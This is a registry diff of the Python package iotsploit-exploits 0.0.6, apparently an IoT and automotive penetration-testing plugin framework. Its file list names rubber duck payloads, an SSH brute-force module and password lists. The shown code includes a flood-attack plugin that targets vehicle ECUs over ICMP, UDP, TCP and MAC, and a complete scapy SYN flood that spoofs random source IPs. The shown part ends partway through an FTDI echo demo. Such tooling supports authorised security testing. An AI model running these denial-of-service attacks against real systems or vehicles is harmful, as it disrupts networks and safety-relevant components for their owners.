iotsploit-exploits 0.0.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- iotsploit_exploits/__init__.py +1 -0
- iotsploit_exploits/adb_check/__init__.py +0 -0
- iotsploit_exploits/adb_check/adb_check.py +493 -0
- iotsploit_exploits/demo/__init__.py +0 -0
- iotsploit_exploits/demo/async_sleep_attack.py +106 -0
- iotsploit_exploits/demo/stream_data_attack.py +184 -0
- iotsploit_exploits/flood_attack/__init__.py +0 -0
- iotsploit_exploits/flood_attack/flood_attack.py +129 -0
- iotsploit_exploits/flood_attack/syn_flood_attack.py +233 -0
- iotsploit_exploits/greatfet_echo.py +103 -0
- iotsploit_exploits/greatfet_rubber_duck.py +417 -0
- iotsploit_exploits/hydra_cracker/weak_pass.txt +471 -0
- iotsploit_exploits/hydra_cracker/weak_pass_simple.txt +5 -0
- iotsploit_exploits/hydra_ssh_attack.py +159 -0
- iotsploit_exploits/ip_scan/__init__.py +0 -0
- iotsploit_exploits/ip_scan/ip_scan.py +196 -0
- iotsploit_exploits/nmap_scan/__init__.py +0 -0
- iotsploit_exploits/nmap_scan/nmap_scan.py +207 -0
- iotsploit_exploits/plugin_ssh.py +146 -0
- iotsploit_exploits/rubber_duck_scripts/linux_infogather.txt +126 -0
- iotsploit_exploits/rubber_duck_scripts/windows_payload.txt +93 -0
- iotsploit_exploits/serial/__init__.py +0 -0
- iotsploit_exploits/serial/picocom_serial_reader.py +704 -0
- iotsploit_exploits/simple_rubber_duck.py +183 -0
- iotsploit_exploits/wifi_scan/__init__.py +0 -0
- iotsploit_exploits/wifi_scan/wifi_scan.py +242 -0
- iotsploit_exploits-0.0.6.dist-info/METADATA +65 -0
- iotsploit_exploits-0.0.6.dist-info/RECORD +30 -0
- iotsploit_exploits-0.0.6.dist-info/WHEEL +4 -0
- iotsploit_exploits-0.0.6.dist-info/entry_points.txt +16 -0
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
#!/usr/bin/python3
|
|
2
|
+
|
|
3
|
+
import logging
|
|
4
|
+
import pluggy
|
|
5
|
+
from typing import Optional, Any
|
|
6
|
+
import asyncio
|
|
7
|
+
import random
|
|
8
|
+
import time
|
|
9
|
+
from iotsploit_core.core.exploit_spec import AsyncExploitResult
|
|
10
|
+
from iotsploit_core.core.base_plugin import BasePlugin
|
|
11
|
+
from iotsploit_core.core.stream_manager import StreamManager, StreamData, StreamType
|
|
12
|
+
|
|
13
|
+
logger = logging.getLogger(__name__)
|
|
14
|
+
hookimpl = pluggy.HookimplMarker("exploit_mgr")
|
|
15
|
+
|
|
16
|
+
class StreamDataAttackPlugin(BasePlugin):
|
|
17
|
+
def __init__(self):
|
|
18
|
+
super().__init__({
|
|
19
|
+
'Name': 'Stream Data Attack',
|
|
20
|
+
'Description': 'A demo plugin that simulates continuous data streaming from multiple interfaces.',
|
|
21
|
+
'License': 'GPL',
|
|
22
|
+
'Author': ['iotsploit'],
|
|
23
|
+
'Parameters': {
|
|
24
|
+
'duration': {
|
|
25
|
+
'type': 'int',
|
|
26
|
+
'required': False,
|
|
27
|
+
'description': 'Duration in seconds (0 for infinite)',
|
|
28
|
+
'default': 30,
|
|
29
|
+
'validation': {
|
|
30
|
+
'min': 0,
|
|
31
|
+
'max': 3600
|
|
32
|
+
}
|
|
33
|
+
},
|
|
34
|
+
'interfaces': {
|
|
35
|
+
'type': 'list',
|
|
36
|
+
'required': False,
|
|
37
|
+
'description': 'List of interfaces to simulate',
|
|
38
|
+
'default': ['uart', 'can'],
|
|
39
|
+
'validation': {
|
|
40
|
+
'choices': ['uart', 'can', 'spi', 'i2c']
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
})
|
|
45
|
+
self._stop_attack = False
|
|
46
|
+
self.stream_manager = StreamManager()
|
|
47
|
+
self.channel = "stream_attack_device"
|
|
48
|
+
|
|
49
|
+
@hookimpl
|
|
50
|
+
def initialize(self, device_plugin: Optional[Any] = None):
|
|
51
|
+
logger.debug("Initializing StreamDataAttackPlugin")
|
|
52
|
+
self._stop_attack = False
|
|
53
|
+
|
|
54
|
+
async def _generate_uart_data(self):
|
|
55
|
+
"""Simulate UART data generation"""
|
|
56
|
+
while not self._stop_attack:
|
|
57
|
+
data = bytes([random.randint(0, 255) for _ in range(16)])
|
|
58
|
+
stream_data = StreamData(
|
|
59
|
+
stream_type=StreamType.UART,
|
|
60
|
+
channel=self.channel,
|
|
61
|
+
timestamp=time.time(),
|
|
62
|
+
data=data.hex(),
|
|
63
|
+
metadata={
|
|
64
|
+
"baudrate": 115200,
|
|
65
|
+
"port": "/dev/ttyUSB0",
|
|
66
|
+
"parity": "none",
|
|
67
|
+
"stopbits": 1
|
|
68
|
+
}
|
|
69
|
+
)
|
|
70
|
+
await self.stream_manager.broadcast_data(stream_data)
|
|
71
|
+
await asyncio.sleep(0.1) # Simulate 10Hz UART data
|
|
72
|
+
|
|
73
|
+
async def _generate_can_data(self):
|
|
74
|
+
"""Simulate CAN bus data generation"""
|
|
75
|
+
while not self._stop_attack:
|
|
76
|
+
can_id = random.randint(0x100, 0x7FF)
|
|
77
|
+
data = bytes([random.randint(0, 255) for _ in range(8)])
|
|
78
|
+
stream_data = StreamData(
|
|
79
|
+
stream_type=StreamType.CAN,
|
|
80
|
+
channel=self.channel,
|
|
81
|
+
timestamp=time.time(),
|
|
82
|
+
data={
|
|
83
|
+
"can_id": hex(can_id),
|
|
84
|
+
"data": data.hex(),
|
|
85
|
+
"is_extended_id": False,
|
|
86
|
+
"is_remote_frame": False,
|
|
87
|
+
"is_error_frame": False
|
|
88
|
+
},
|
|
89
|
+
metadata={
|
|
90
|
+
"bitrate": 500000,
|
|
91
|
+
"channel": "can0"
|
|
92
|
+
}
|
|
93
|
+
)
|
|
94
|
+
await self.stream_manager.broadcast_data(stream_data)
|
|
95
|
+
await asyncio.sleep(0.05) # Simulate 20Hz CAN data
|
|
96
|
+
|
|
97
|
+
@hookimpl
|
|
98
|
+
async def execute_async(self, target: Optional[Any] = None, parameters: Optional[dict] = None) -> AsyncExploitResult:
|
|
99
|
+
"""Asynchronous execution method"""
|
|
100
|
+
logger.info("Executing StreamDataAttackPlugin")
|
|
101
|
+
async_result = AsyncExploitResult()
|
|
102
|
+
|
|
103
|
+
try:
|
|
104
|
+
# Register the channel before starting data generation
|
|
105
|
+
await self.stream_manager.register_stream(self.channel)
|
|
106
|
+
|
|
107
|
+
# Get parameters
|
|
108
|
+
duration = parameters.get('duration', 30) if parameters else 30
|
|
109
|
+
interfaces = parameters.get('interfaces', ['uart', 'can']) if parameters else ['uart', 'can']
|
|
110
|
+
|
|
111
|
+
# Create tasks for each interface
|
|
112
|
+
tasks = []
|
|
113
|
+
if 'uart' in interfaces:
|
|
114
|
+
logger.info("Generating UART data")
|
|
115
|
+
tasks.append(self._generate_uart_data())
|
|
116
|
+
if 'can' in interfaces:
|
|
117
|
+
logger.info("Generating CAN data")
|
|
118
|
+
tasks.append(self._generate_can_data())
|
|
119
|
+
|
|
120
|
+
if not tasks:
|
|
121
|
+
raise ValueError("No valid interfaces specified")
|
|
122
|
+
|
|
123
|
+
# Start all tasks
|
|
124
|
+
async_result.update(
|
|
125
|
+
status=True,
|
|
126
|
+
progress=0,
|
|
127
|
+
message="Starting data streaming...",
|
|
128
|
+
data={"active_interfaces": interfaces}
|
|
129
|
+
)
|
|
130
|
+
|
|
131
|
+
# If duration is 0, run indefinitely
|
|
132
|
+
if duration > 0:
|
|
133
|
+
try:
|
|
134
|
+
# Run for specified duration
|
|
135
|
+
await asyncio.wait_for(
|
|
136
|
+
asyncio.gather(*tasks, return_exceptions=True),
|
|
137
|
+
timeout=duration
|
|
138
|
+
)
|
|
139
|
+
except asyncio.TimeoutError:
|
|
140
|
+
pass # Expected timeout after duration
|
|
141
|
+
else:
|
|
142
|
+
# Run until stopped
|
|
143
|
+
await asyncio.gather(*tasks, return_exceptions=True)
|
|
144
|
+
|
|
145
|
+
if self._stop_attack:
|
|
146
|
+
message = "Data streaming stopped by user"
|
|
147
|
+
else:
|
|
148
|
+
message = "Data streaming completed"
|
|
149
|
+
|
|
150
|
+
async_result.update(
|
|
151
|
+
status=True,
|
|
152
|
+
progress=100,
|
|
153
|
+
message=message,
|
|
154
|
+
data={"active_interfaces": interfaces}
|
|
155
|
+
)
|
|
156
|
+
|
|
157
|
+
return async_result
|
|
158
|
+
|
|
159
|
+
except Exception as e:
|
|
160
|
+
logger.error(f"Error during stream data attack: {str(e)}")
|
|
161
|
+
async_result.update(
|
|
162
|
+
status=False,
|
|
163
|
+
message=f"Attack failed: {str(e)}",
|
|
164
|
+
progress=100
|
|
165
|
+
)
|
|
166
|
+
return async_result
|
|
167
|
+
finally:
|
|
168
|
+
# Unregister the channel when done
|
|
169
|
+
await self.stream_manager.unregister_stream(self.channel)
|
|
170
|
+
self._stop_attack = True
|
|
171
|
+
await self.stream_manager.stop_broadcast(self.channel)
|
|
172
|
+
|
|
173
|
+
@hookimpl
|
|
174
|
+
def stop(self):
|
|
175
|
+
"""Stop the running attack"""
|
|
176
|
+
logger.info("Stopping stream data attack")
|
|
177
|
+
self._stop_attack = True
|
|
178
|
+
|
|
179
|
+
@hookimpl
|
|
180
|
+
def cleanup(self):
|
|
181
|
+
"""Cleanup after attack"""
|
|
182
|
+
logger.info("Cleaning up StreamDataAttackPlugin")
|
|
183
|
+
self._stop_attack = False
|
|
184
|
+
|
|
File without changes
|
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
import logging
|
|
2
|
+
import pluggy
|
|
3
|
+
from typing import Optional, Any
|
|
4
|
+
from iotsploit_django.tools.vehicle_utils import query_tcam_ip, query_dhu_ip, check_ecu_alive
|
|
5
|
+
from iotsploit_core.core.exploit_spec import ExploitResult
|
|
6
|
+
from iotsploit_django.tools.net_audit_mgr import NetAudit_Mgr
|
|
7
|
+
from iotsploit_core.utils import abort, sleep, IotsErrorCode
|
|
8
|
+
from iotsploit_core.core.base_plugin import BasePlugin
|
|
9
|
+
|
|
10
|
+
logger = logging.getLogger(__name__)
|
|
11
|
+
hookimpl = pluggy.HookimplMarker("exploit_mgr")
|
|
12
|
+
|
|
13
|
+
class FloodAttackPlugin(BasePlugin):
|
|
14
|
+
def __init__(self):
|
|
15
|
+
super().__init__({
|
|
16
|
+
'Name': 'Flood Attack',
|
|
17
|
+
'Description': 'Perform ICMP/UDP/TCP/MAC flood attacks against a target ECU with safety checks.',
|
|
18
|
+
'License': 'GPL',
|
|
19
|
+
'Author': ['iotsploit'],
|
|
20
|
+
'Parameters': {
|
|
21
|
+
'attack_type': {
|
|
22
|
+
'type': 'str',
|
|
23
|
+
'required': True,
|
|
24
|
+
'description': 'Flood attack type',
|
|
25
|
+
'default': 'icmp'
|
|
26
|
+
},
|
|
27
|
+
'ecu': {
|
|
28
|
+
'type': 'str',
|
|
29
|
+
'required': True,
|
|
30
|
+
'description': 'ECU name, e.g., tcam/dhu/vgm',
|
|
31
|
+
'default': 'tcam'
|
|
32
|
+
}
|
|
33
|
+
}
|
|
34
|
+
})
|
|
35
|
+
self.net_audit_mgr = NetAudit_Mgr.Instance()
|
|
36
|
+
|
|
37
|
+
@hookimpl
|
|
38
|
+
def initialize(self, device_plugin: Optional[Any] = None):
|
|
39
|
+
logger.debug("Initializing FloodAttackPlugin")
|
|
40
|
+
# If you need to initialize anything with the device_plugin, do it here
|
|
41
|
+
pass
|
|
42
|
+
|
|
43
|
+
@hookimpl
|
|
44
|
+
def execute(self, target: Optional[Any] = None, parameters: Optional[dict] = None) -> ExploitResult:
|
|
45
|
+
# Accept both target and parameters for compatibility
|
|
46
|
+
if target is None:
|
|
47
|
+
target = {}
|
|
48
|
+
if not isinstance(target, dict):
|
|
49
|
+
return ExploitResult(False, "Invalid target. Expected a dictionary with 'attack_type' and 'ecu'.", {})
|
|
50
|
+
|
|
51
|
+
attack_type = target.get('attack_type', self.info['Parameters']['attack_type']['default'])
|
|
52
|
+
ecu = target.get('ecu', self.info['Parameters']['ecu']['default'])
|
|
53
|
+
|
|
54
|
+
logger.info(f"Executing {attack_type} flood attack on {ecu}")
|
|
55
|
+
|
|
56
|
+
try:
|
|
57
|
+
self._check_ecu_alive(ecu, "ip", attack_type)
|
|
58
|
+
|
|
59
|
+
ecu_ip = self._get_ecu_ip(ecu)
|
|
60
|
+
if not ecu_ip:
|
|
61
|
+
return ExploitResult(False, f"Failed to get IP for {ecu}", {})
|
|
62
|
+
|
|
63
|
+
self._start_flood_attack(attack_type, ecu, ecu_ip)
|
|
64
|
+
|
|
65
|
+
self._perform_checks(ecu, attack_type)
|
|
66
|
+
|
|
67
|
+
self._stop_flood_attack(attack_type)
|
|
68
|
+
|
|
69
|
+
self._check_ecu_alive(ecu, "ip", attack_type)
|
|
70
|
+
|
|
71
|
+
return ExploitResult(True, f"{ecu} {attack_type} flood attack successful", {"ecu": ecu, "attack_type": attack_type})
|
|
72
|
+
except Exception as e:
|
|
73
|
+
logger.error(f"Error during flood attack execution: {str(e)}")
|
|
74
|
+
return ExploitResult(False, f"Flood attack failed: {str(e)}", {})
|
|
75
|
+
|
|
76
|
+
@hookimpl
|
|
77
|
+
def cleanup(self):
|
|
78
|
+
logger.info("Cleaning up FloodAttackPlugin")
|
|
79
|
+
# Stop any ongoing attacks
|
|
80
|
+
self.net_audit_mgr.stop_icmp_flood_attack()
|
|
81
|
+
self.net_audit_mgr.stop_udp_flood_attack()
|
|
82
|
+
self.net_audit_mgr.stop_tcp_flood_attack()
|
|
83
|
+
self.net_audit_mgr.stop_mac_flood_attack()
|
|
84
|
+
|
|
85
|
+
def _check_ecu_alive(self, ecu, checktype, attack_type):
|
|
86
|
+
if not check_ecu_alive(ecu, checktype):
|
|
87
|
+
self._stop_flood_attack(attack_type)
|
|
88
|
+
abort(f"{ecu} is not alive", code=IotsErrorCode.HOST_UNREACHABLE, ecu=ecu, checktype=checktype)
|
|
89
|
+
|
|
90
|
+
def _get_ecu_ip(self, ecu):
|
|
91
|
+
if ecu == "tcam":
|
|
92
|
+
return query_tcam_ip()
|
|
93
|
+
elif ecu == "dhu":
|
|
94
|
+
return query_dhu_ip()
|
|
95
|
+
elif ecu == "vgm":
|
|
96
|
+
return "169.254.19.1"
|
|
97
|
+
return None
|
|
98
|
+
|
|
99
|
+
def _start_flood_attack(self, attack_type, ecu, ecu_ip):
|
|
100
|
+
if attack_type == "icmp":
|
|
101
|
+
self.net_audit_mgr.start_icmp_flood_attack(ecu_ip)
|
|
102
|
+
elif attack_type == "udp":
|
|
103
|
+
self.net_audit_mgr.start_udp_flood_attack(ecu_ip)
|
|
104
|
+
elif attack_type == "tcp":
|
|
105
|
+
self.net_audit_mgr.start_tcp_flood_attack(ecu_ip)
|
|
106
|
+
elif attack_type == "mac":
|
|
107
|
+
if ecu == "vgm":
|
|
108
|
+
self.net_audit_mgr.start_mac_flood_attack(ecu_ip, "eth0")
|
|
109
|
+
else:
|
|
110
|
+
self.net_audit_mgr.start_mac_flood_attack(ecu_ip)
|
|
111
|
+
|
|
112
|
+
def _perform_checks(self, ecu, attack_type):
|
|
113
|
+
for _ in range(6): # Check every 5 seconds for 30 seconds
|
|
114
|
+
sleep(5)
|
|
115
|
+
self._check_ecu_alive(ecu, "ip", attack_type)
|
|
116
|
+
|
|
117
|
+
def _stop_flood_attack(self, attack_type):
|
|
118
|
+
if attack_type == "icmp":
|
|
119
|
+
self.net_audit_mgr.stop_icmp_flood_attack()
|
|
120
|
+
elif attack_type == "udp":
|
|
121
|
+
self.net_audit_mgr.stop_udp_flood_attack()
|
|
122
|
+
elif attack_type == "tcp":
|
|
123
|
+
self.net_audit_mgr.stop_tcp_flood_attack()
|
|
124
|
+
elif attack_type == "mac":
|
|
125
|
+
self.net_audit_mgr.stop_mac_flood_attack()
|
|
126
|
+
|
|
127
|
+
def register_plugin(pm):
|
|
128
|
+
flood_attack_plugin = FloodAttackPlugin()
|
|
129
|
+
pm.register(flood_attack_plugin)
|
|
@@ -0,0 +1,233 @@
|
|
|
1
|
+
#!/usr/bin/python3
|
|
2
|
+
|
|
3
|
+
import logging
|
|
4
|
+
import pluggy
|
|
5
|
+
from typing import Optional, Any
|
|
6
|
+
from random import randint
|
|
7
|
+
from iotsploit_core.core.exploit_spec import ExploitResult
|
|
8
|
+
from iotsploit_django.adapters.django.target_models import TargetManager
|
|
9
|
+
from iotsploit_django.tools.input_mgr import Input_Mgr
|
|
10
|
+
from iotsploit_core.core.base_plugin import BasePlugin
|
|
11
|
+
|
|
12
|
+
logger = logging.getLogger(__name__)
|
|
13
|
+
hookimpl = pluggy.HookimplMarker("exploit_mgr")
|
|
14
|
+
|
|
15
|
+
class SynFloodAttackPlugin(BasePlugin):
|
|
16
|
+
def __init__(self):
|
|
17
|
+
super().__init__({
|
|
18
|
+
'Name': 'SYN Flood Attack',
|
|
19
|
+
'Description': 'Performs a SYN flood attack on a specified target.',
|
|
20
|
+
'License': 'GPL',
|
|
21
|
+
'Author': ['iotsploit'],
|
|
22
|
+
'RequiresRoot': True,
|
|
23
|
+
'Parameters': {
|
|
24
|
+
'port': {
|
|
25
|
+
'type': 'int',
|
|
26
|
+
'required': True,
|
|
27
|
+
'description': 'Target port number for the SYN flood attack',
|
|
28
|
+
'default': 80,
|
|
29
|
+
'validation': {
|
|
30
|
+
'min': 1,
|
|
31
|
+
'max': 65535
|
|
32
|
+
}
|
|
33
|
+
},
|
|
34
|
+
'count': {
|
|
35
|
+
'type': 'int',
|
|
36
|
+
'required': True,
|
|
37
|
+
'description': 'Number of SYN packets to send',
|
|
38
|
+
'default': 1000,
|
|
39
|
+
'validation': {
|
|
40
|
+
'min': 1,
|
|
41
|
+
'max': 10000
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
})
|
|
46
|
+
|
|
47
|
+
@hookimpl
|
|
48
|
+
def initialize(self, device_plugin: Optional[Any] = None):
|
|
49
|
+
logger.debug("Initializing SynFloodAttackPlugin")
|
|
50
|
+
pass
|
|
51
|
+
|
|
52
|
+
@hookimpl
|
|
53
|
+
def execute(self, target: Optional[Any] = None, parameters: Optional[dict] = None) -> ExploitResult:
|
|
54
|
+
logger.info("Executing SynFloodAttackPlugin")
|
|
55
|
+
logger.debug(f"Execute called with target type: {type(target)}, target: {target}")
|
|
56
|
+
logger.debug(f"Execute called with parameters: {parameters}")
|
|
57
|
+
|
|
58
|
+
try:
|
|
59
|
+
# Note: Root privileges are now handled by Django's sudo integration
|
|
60
|
+
# This plugin will be executed under sudo automatically when called from Django
|
|
61
|
+
|
|
62
|
+
# Execute the attack
|
|
63
|
+
result = self._execute_attack(target, parameters)
|
|
64
|
+
logger.debug(f"_execute_attack returned: {result}")
|
|
65
|
+
logger.debug(f"Result type: {type(result)}, success: {getattr(result, 'success', 'N/A')}")
|
|
66
|
+
return result
|
|
67
|
+
|
|
68
|
+
except PermissionError as e:
|
|
69
|
+
logger.error(f"Permission error during SYN flood attack: {str(e)}")
|
|
70
|
+
error_result = ExploitResult(False, f"Permission error: {str(e)}", {})
|
|
71
|
+
logger.debug(f"Returning permission error result: {error_result}")
|
|
72
|
+
return error_result
|
|
73
|
+
except Exception as e:
|
|
74
|
+
logger.error(f"Error during SYN flood attack: {str(e)}")
|
|
75
|
+
logger.exception("Full exception traceback:")
|
|
76
|
+
error_result = ExploitResult(False, f"SYN flood attack failed: {str(e)}", {})
|
|
77
|
+
logger.debug(f"Returning exception error result: {error_result}")
|
|
78
|
+
return error_result
|
|
79
|
+
|
|
80
|
+
def _execute_attack(self, target, parameters):
|
|
81
|
+
"""Helper method to execute the actual attack"""
|
|
82
|
+
logger.info(f"Executing SynFloodAttackPlugin with target: {target} and parameters: {parameters}")
|
|
83
|
+
logger.debug(f"_execute_attack: target type={type(target)}, parameters type={type(parameters)}")
|
|
84
|
+
|
|
85
|
+
# Support both sudo and non-sudo execution:
|
|
86
|
+
# 1. If target parameter is provided (sudo mode), use it
|
|
87
|
+
# 2. If no target parameter (non-sudo mode), get from TargetManager
|
|
88
|
+
current_target = target
|
|
89
|
+
if current_target is None:
|
|
90
|
+
logger.info("No target parameter provided, getting from TargetManager")
|
|
91
|
+
target_manager = TargetManager.get_instance()
|
|
92
|
+
current_target = target_manager.get_current_target()
|
|
93
|
+
logger.debug(f"Got target from TargetManager: {current_target}")
|
|
94
|
+
else:
|
|
95
|
+
logger.info("Using target parameter from sudo runner")
|
|
96
|
+
logger.debug(f"Target parameter details: {current_target}")
|
|
97
|
+
|
|
98
|
+
logger.info(f"Using target: {current_target}")
|
|
99
|
+
if current_target is None:
|
|
100
|
+
error_result = ExploitResult(False, "No target selected. Please load a target first.", {})
|
|
101
|
+
logger.debug(f"No target available, returning: {error_result}")
|
|
102
|
+
return error_result
|
|
103
|
+
|
|
104
|
+
if parameters:
|
|
105
|
+
port = parameters.get('port', 80)
|
|
106
|
+
count = parameters.get('count', 1000)
|
|
107
|
+
else:
|
|
108
|
+
port = Input_Mgr.Instance().int_input(
|
|
109
|
+
"Enter the target port number for SYN flood attack:",
|
|
110
|
+
min_val=1,
|
|
111
|
+
max_val=65535
|
|
112
|
+
)
|
|
113
|
+
count = Input_Mgr.Instance().int_input(
|
|
114
|
+
"Enter the number of packets to send:",
|
|
115
|
+
min_val=1,
|
|
116
|
+
max_val=10000
|
|
117
|
+
)
|
|
118
|
+
|
|
119
|
+
# Extract IP address from target (handle both dict and object formats)
|
|
120
|
+
if isinstance(current_target, dict):
|
|
121
|
+
# Target from sudo runner (dictionary format)
|
|
122
|
+
target_ip = current_target.get('ip_address')
|
|
123
|
+
else:
|
|
124
|
+
# Target from TargetManager (object format)
|
|
125
|
+
target_ip = getattr(current_target, 'ip_address', None)
|
|
126
|
+
|
|
127
|
+
if not target_ip:
|
|
128
|
+
return ExploitResult(False, "Target IP address not found", {})
|
|
129
|
+
|
|
130
|
+
attack_target = {
|
|
131
|
+
'ip': target_ip,
|
|
132
|
+
'port': port,
|
|
133
|
+
'count': count,
|
|
134
|
+
'ipv6': False
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
logger.debug(f"About to execute flood with attack_target: {attack_target}")
|
|
138
|
+
|
|
139
|
+
total = self._syn_flood_v6(attack_target['ip'], attack_target['port'], attack_target['count']) if attack_target['ipv6'] else self._syn_flood(attack_target['ip'], attack_target['port'], attack_target['count'])
|
|
140
|
+
|
|
141
|
+
logger.debug(f"Flood attack completed, total packets sent: {total}")
|
|
142
|
+
|
|
143
|
+
success_result = ExploitResult(True, f"SYN flood attack successful. Sent {total} packets", {
|
|
144
|
+
"packets_sent": total,
|
|
145
|
+
"target_ip": attack_target['ip'],
|
|
146
|
+
"target_port": attack_target['port'],
|
|
147
|
+
"ipv6": attack_target['ipv6']
|
|
148
|
+
})
|
|
149
|
+
|
|
150
|
+
logger.debug(f"Created success result: {success_result}")
|
|
151
|
+
logger.debug(f"Success result attributes: success={success_result.success}, message='{success_result.message}', data={success_result.data}")
|
|
152
|
+
|
|
153
|
+
return success_result
|
|
154
|
+
|
|
155
|
+
@hookimpl
|
|
156
|
+
def cleanup(self):
|
|
157
|
+
logger.info("Cleaning up SynFloodAttackPlugin")
|
|
158
|
+
pass
|
|
159
|
+
|
|
160
|
+
def _random_ip(self):
|
|
161
|
+
return ".".join(map(str, (randint(0, 255) for _ in range(4))))
|
|
162
|
+
|
|
163
|
+
def _rand_int(self):
|
|
164
|
+
return randint(1000, 9000)
|
|
165
|
+
|
|
166
|
+
@staticmethod
|
|
167
|
+
def _load_scapy():
|
|
168
|
+
# Import scapy lazily so plugin discovery does not require raw-socket access.
|
|
169
|
+
from scapy.all import IP, TCP, IPv6, RandIP6, send
|
|
170
|
+
|
|
171
|
+
return IP, TCP, IPv6, RandIP6, send
|
|
172
|
+
|
|
173
|
+
def _syn_flood(self, dst_ip, dst_port, counter):
|
|
174
|
+
IP, TCP, _, _, send = self._load_scapy()
|
|
175
|
+
total = 0
|
|
176
|
+
logger.info("Sending IPv4 SYN packets...")
|
|
177
|
+
|
|
178
|
+
try:
|
|
179
|
+
for _ in range(counter):
|
|
180
|
+
s_port = self._rand_int()
|
|
181
|
+
s_eq = self._rand_int()
|
|
182
|
+
w_indow = self._rand_int()
|
|
183
|
+
|
|
184
|
+
ip_packet = IP(src=self._random_ip(), dst=dst_ip)
|
|
185
|
+
tcp_packet = TCP(
|
|
186
|
+
sport=s_port,
|
|
187
|
+
dport=int(dst_port),
|
|
188
|
+
flags="S",
|
|
189
|
+
seq=s_eq,
|
|
190
|
+
window=w_indow
|
|
191
|
+
)
|
|
192
|
+
|
|
193
|
+
send(ip_packet/tcp_packet, verbose=0)
|
|
194
|
+
total += 1
|
|
195
|
+
|
|
196
|
+
logger.info(f"Total packets sent: {total}")
|
|
197
|
+
return total
|
|
198
|
+
except Exception as e:
|
|
199
|
+
logger.error(f"Error in SYN flood attack: {str(e)}")
|
|
200
|
+
raise
|
|
201
|
+
|
|
202
|
+
def _syn_flood_v6(self, dst_ip, dst_port, counter):
|
|
203
|
+
_, TCP, IPv6, RandIP6, send = self._load_scapy()
|
|
204
|
+
total = 0
|
|
205
|
+
logger.info("Sending IPv6 SYN packets...")
|
|
206
|
+
|
|
207
|
+
try:
|
|
208
|
+
for _ in range(counter):
|
|
209
|
+
s_port = self._rand_int()
|
|
210
|
+
s_eq = self._rand_int()
|
|
211
|
+
w_indow = self._rand_int()
|
|
212
|
+
|
|
213
|
+
ip_packet = IPv6(src=RandIP6(), dst=dst_ip)
|
|
214
|
+
tcp_packet = TCP(
|
|
215
|
+
sport=s_port,
|
|
216
|
+
dport=int(dst_port),
|
|
217
|
+
flags="S",
|
|
218
|
+
seq=s_eq,
|
|
219
|
+
window=w_indow
|
|
220
|
+
)
|
|
221
|
+
|
|
222
|
+
send(ip_packet/tcp_packet, verbose=0)
|
|
223
|
+
total += 1
|
|
224
|
+
|
|
225
|
+
logger.info(f"Total packets sent: {total}")
|
|
226
|
+
return total
|
|
227
|
+
except Exception as e:
|
|
228
|
+
logger.error(f"Error in IPv6 SYN flood attack: {str(e)}")
|
|
229
|
+
raise
|
|
230
|
+
|
|
231
|
+
def register_plugin(pm):
|
|
232
|
+
syn_flood_attack_plugin = SynFloodAttackPlugin()
|
|
233
|
+
pm.register(syn_flood_attack_plugin)
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
#!/usr/bin/python3
|
|
2
|
+
|
|
3
|
+
import threading
|
|
4
|
+
import pluggy
|
|
5
|
+
from typing import Optional, Any
|
|
6
|
+
from iotsploit_core.core.exploit_spec import AsyncExploitResult
|
|
7
|
+
from iotsploit_core.core.base_plugin import BasePlugin
|
|
8
|
+
from facedancer.devices.ftdi import FTDIDevice
|
|
9
|
+
from iotsploit_core.utils import iots_logger
|
|
10
|
+
import asyncio
|
|
11
|
+
|
|
12
|
+
hookimpl = pluggy.HookimplMarker("exploit_mgr")
|
|
13
|
+
|
|
14
|
+
class FTDIEchoPlugin(BasePlugin):
|
|
15
|
+
def __init__(self):
|
|
16
|
+
super().__init__({
|
|
17
|
+
'Name': 'FTDI Echo',
|
|
18
|
+
'Description': 'Creates a virtual FTDI device that echoes back received data in uppercase.',
|
|
19
|
+
'License': 'GPL',
|
|
20
|
+
'Author': ['iotsploit'],
|
|
21
|
+
'RequiresRoot': False,
|
|
22
|
+
'Parameters': {
|
|
23
|
+
'message': {
|
|
24
|
+
'type': 'str',
|
|
25
|
+
'required': False,
|
|
26
|
+
'description': 'Custom welcome message to display',
|
|
27
|
+
'default': 'Hello! Welcome to the FTDI demo.\nEnter any text you\'d like, and we\'ll send it back in UPPERCASE.\n'
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
})
|
|
31
|
+
self.device = None
|
|
32
|
+
self.running = False
|
|
33
|
+
self.logger = iots_logger.get_logger("ftdi_echo")
|
|
34
|
+
|
|
35
|
+
@hookimpl
|
|
36
|
+
def initialize(self, device_plugin: Optional[Any] = None):
|
|
37
|
+
self.logger.info("Initializing FTDIEchoPlugin")
|
|
38
|
+
|
|
39
|
+
async def _handle_data_async(self, data):
|
|
40
|
+
"""Async version of data handler."""
|
|
41
|
+
try:
|
|
42
|
+
# Convert the data to uppercase...
|
|
43
|
+
uppercase = data.decode('utf-8').upper()
|
|
44
|
+
# Convert line endings...
|
|
45
|
+
uppercase = uppercase.replace('\r', '\n')
|
|
46
|
+
# Transmit the modified data.
|
|
47
|
+
await self.device.transmit_async(uppercase)
|
|
48
|
+
except Exception as e:
|
|
49
|
+
self.logger.error(f"Error handling data: {str(e)}")
|
|
50
|
+
|
|
51
|
+
@hookimpl
|
|
52
|
+
async def execute_async(self, target: Optional[Any] = None, parameters: Optional[dict] = None) -> AsyncExploitResult:
|
|
53
|
+
self.logger.info("Executing FTDIEchoPlugin asynchronously")
|
|
54
|
+
self.device = FTDIDevice()
|
|
55
|
+
try:
|
|
56
|
+
if not self.device:
|
|
57
|
+
return AsyncExploitResult(False, "FTDI device not initialized", {})
|
|
58
|
+
|
|
59
|
+
# Get welcome message
|
|
60
|
+
welcome_msg = (parameters.get('message')
|
|
61
|
+
if parameters
|
|
62
|
+
else self.info['Parameters']['message']['default'])
|
|
63
|
+
|
|
64
|
+
# Define the coroutine that waits for host and sends welcome message.
|
|
65
|
+
async def send_hello():
|
|
66
|
+
self.logger.info("Waiting for the host to connect.")
|
|
67
|
+
await self.device.wait_for_host()
|
|
68
|
+
self.logger.info("Host connected!")
|
|
69
|
+
self.logger.info("Telling the user hello...")
|
|
70
|
+
self.device.transmit("Hello! Welcome to the FTDI demo.\n")
|
|
71
|
+
